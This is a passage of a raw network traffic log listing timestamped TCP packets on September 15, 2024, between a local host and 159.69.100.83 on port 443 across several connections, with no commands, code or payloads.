Sep 15, 2024 19:37:21.918724060 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.918740988 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.918845892 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.918859005 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.918903112 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.937693119 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.937711954 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.937802076 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.937812090 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.937851906 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.938626051 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.938642979 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.938698053 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.938704967 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.938750029 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.940618038 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.940635920 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.940695047 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.940701962 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.940733910 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.955954075 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.955971956 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.956053019 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.956062078 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.956103086 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.971539021 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.971554995 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.971643925 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.971654892 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.971695900 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.992902994 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.992929935 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.993012905 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.993026972 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.993043900 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.993062019 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.998895884 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.998922110 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.998966932 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.998975992 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:21.998997927 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:21.999020100 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.007422924 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.007438898 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.007502079 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.007510900 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.007546902 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.026489019 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.026510954 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.026604891 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.026618004 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.026657104 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.027116060 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.027132034 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.027182102 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.027189970 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.027224064 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.029489040 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.029514074 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.029560089 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.029568911 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.029603958 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.044759035 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.044775963 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.044842005 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.044852972 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.044888973 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.060312033 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.060333014 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.060467958 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.060477018 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.060518980 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.081974030 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.081993103 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.082083941 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.082096100 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.082130909 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.087795019 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.087811947 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.087881088 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.087893009 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.087935925 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.096208096 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.096224070 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.096281052 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.096292019 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.096314907 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.096330881 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.120809078 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.120826006 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.120924950 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.120935917 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.120975018 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.121737957 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.121753931 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.121808052 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.121817112 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.121853113 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.125646114 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.125673056 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.125709057 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.125719070 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.125742912 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.125756025 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.133403063 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.133424044 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.133467913 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.133476019 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.133493900 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.133517027 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.155908108 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.155932903 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.155999899 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.156009912 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.156027079 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.156047106 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.170456886 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.170476913 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.170567036 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.170578957 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.170618057 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.176539898 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.176558971 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.176619053 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.176626921 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.176661968 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.185121059 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.185137987 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.185195923 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.185205936 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.185242891 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.209692001 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.209712029 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.209845066 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.209856033 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.209906101 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.210390091 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.210433006 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.210480928 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.210488081 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.210510969 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.210532904 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.214502096 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.214519978 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.214580059 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.214590073 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.214624882 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.222146034 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.222161055 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.222294092 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.222304106 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.222352028 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.244391918 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.244406939 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.244535923 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.244548082 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.244585037 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.259557009 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.259574890 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.259716988 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.259727955 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.259767056 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.265295982 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.265312910 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.265402079 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.265410900 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.265450954 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.273744106 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.273760080 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.273814917 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.273823977 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.273855925 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.273863077 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.301203966 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.301222086 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.301310062 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.301318884 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.301358938 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.302273989 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.302295923 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.302479029 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.302486897 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.302534103 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.303244114 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.303257942 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.303323030 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.303330898 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.303369045 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.311351061 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.311364889 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.311460972 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.311467886 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.311501026 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.333529949 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.333544970 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.333635092 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.333646059 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.333686113 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.348294973 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.348311901 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.348539114 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.348566055 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.348624945 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.357477903 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.357496977 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.357578039 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.357589006 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.357630014 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.367927074 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.367944002 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.368001938 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.368010998 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.368022919 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.368043900 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.389914036 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.389935970 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.390018940 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.390028000 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.390070915 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.390575886 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.390590906 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.390641928 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.390649080 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.390686989 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.393882990 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.393898964 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.393980026 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.393989086 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.394027948 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.416632891 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.416650057 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.416703939 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.416723967 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.416738033 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.416759968 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.436378002 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.436395884 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.436456919 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.436470032 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.436515093 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437036991 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.437073946 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.437097073 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437104940 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.437118053 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437127113 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.437148094 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437170982 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437418938 CEST	49738	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.437442064 CEST	443	49738	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.732498884 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.732572079 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:22.732660055 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.732868910 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:22.732888937 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:23.393995047 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:23.394109964 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:23.394607067 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:23.394619942 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:23.396617889 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:23.396637917 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:23.396656990 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:23.396665096 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.015857935 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.015903950 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.015980959 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.016175032 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.016182899 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.257848024 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.257932901 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.257949114 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.258001089 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.258866072 CEST	49739	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.258899927 CEST	443	49739	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.694639921 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.694703102 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.695090055 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.695101023 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:24.697016954 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:24.697022915 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.404069901 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.404090881 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.404135942 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.404162884 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.404175043 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.404175997 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.404237986 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.404508114 CEST	49740	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.404519081 CEST	443	49740	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.408072948 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.408130884 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:25.408217907 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.408575058 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:25.408598900 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.053097963 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.053169966 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.053797960 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.053811073 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.055831909 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.055838108 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.747723103 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.747764111 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.747811079 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.747834921 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.747848988 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.747849941 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.747916937 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.748240948 CEST	49741	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.748262882 CEST	443	49741	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.769545078 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.769597054 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:26.769695044 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.769969940 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:26.769984961 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:27.425090075 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:27.425167084 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:27.433149099 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:27.433163881 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:27.439318895 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:27.439327955 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:28.104055882 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:28.104129076 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:28.104182959 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.104207993 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.105103970 CEST	49742	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.105129957 CEST	443	49742	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:28.828845978 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.828905106 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:28.829004049 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.829231977 CEST	49743	443	192.168.2.6	159.69.100.83
Sep 15, 2024 19:37:28.829248905 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.479528904 CEST	443	49743	159.69.100.83	192.168.2.6
Sep 15, 2024 19:37:29.479602098 CEST	49743	443	192.168.2.6	159.69.100.83
